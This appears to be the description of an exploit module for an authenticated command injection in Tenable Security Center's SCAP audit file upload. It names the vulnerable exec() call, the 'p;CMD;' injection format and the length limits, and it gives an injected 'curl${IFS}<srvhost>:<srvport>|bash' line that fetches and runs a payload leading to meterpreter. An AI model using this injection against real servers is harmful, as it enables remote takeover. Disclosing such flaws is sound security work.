Tenable Security Center SCAP Audit File Command Injection

Description

Tenable Security Center prior to 6.9.0 allows an authenticated user to achieve command execution as the web service account (tns) via the SCAP audit file upload flow.

Filesystem::saveTmp() builds staged upload filenames from the raw client-supplied `context` form parameter (tempnam prefix), which is not charset-validated. Referencing that staged file in a POST /rest/auditFile (type=scapLinux, version=1.2) request reaches AuditFileLib::addSCAPTailoringFile(), where the zip repack command interpolates the derived path unescaped:

exec("{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc");

basename() strips '/' but not shell metacharacters, so a context like `p;CMD;` executes CMD through /bin/sh.

Constraints (measured on 6.7.2): the staged-name prefix survives only ~50 characters of context and may not contain '/' (saveTmp() applies basename()). This module therefore serves the payload over HTTP and injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port GETs / and bash reads the served script from stdin). The served script itself has no such limits, which the Linux Dropper target exploits with a fetch payload (cmd/linux/http/...) that downloads and execs a full native payload (e.g. x64 meterpreter) from the payload adapter's own listener on FETCH_SRVPORT.

Tested against SecurityCenter 6.7.2-14 on RHEL9.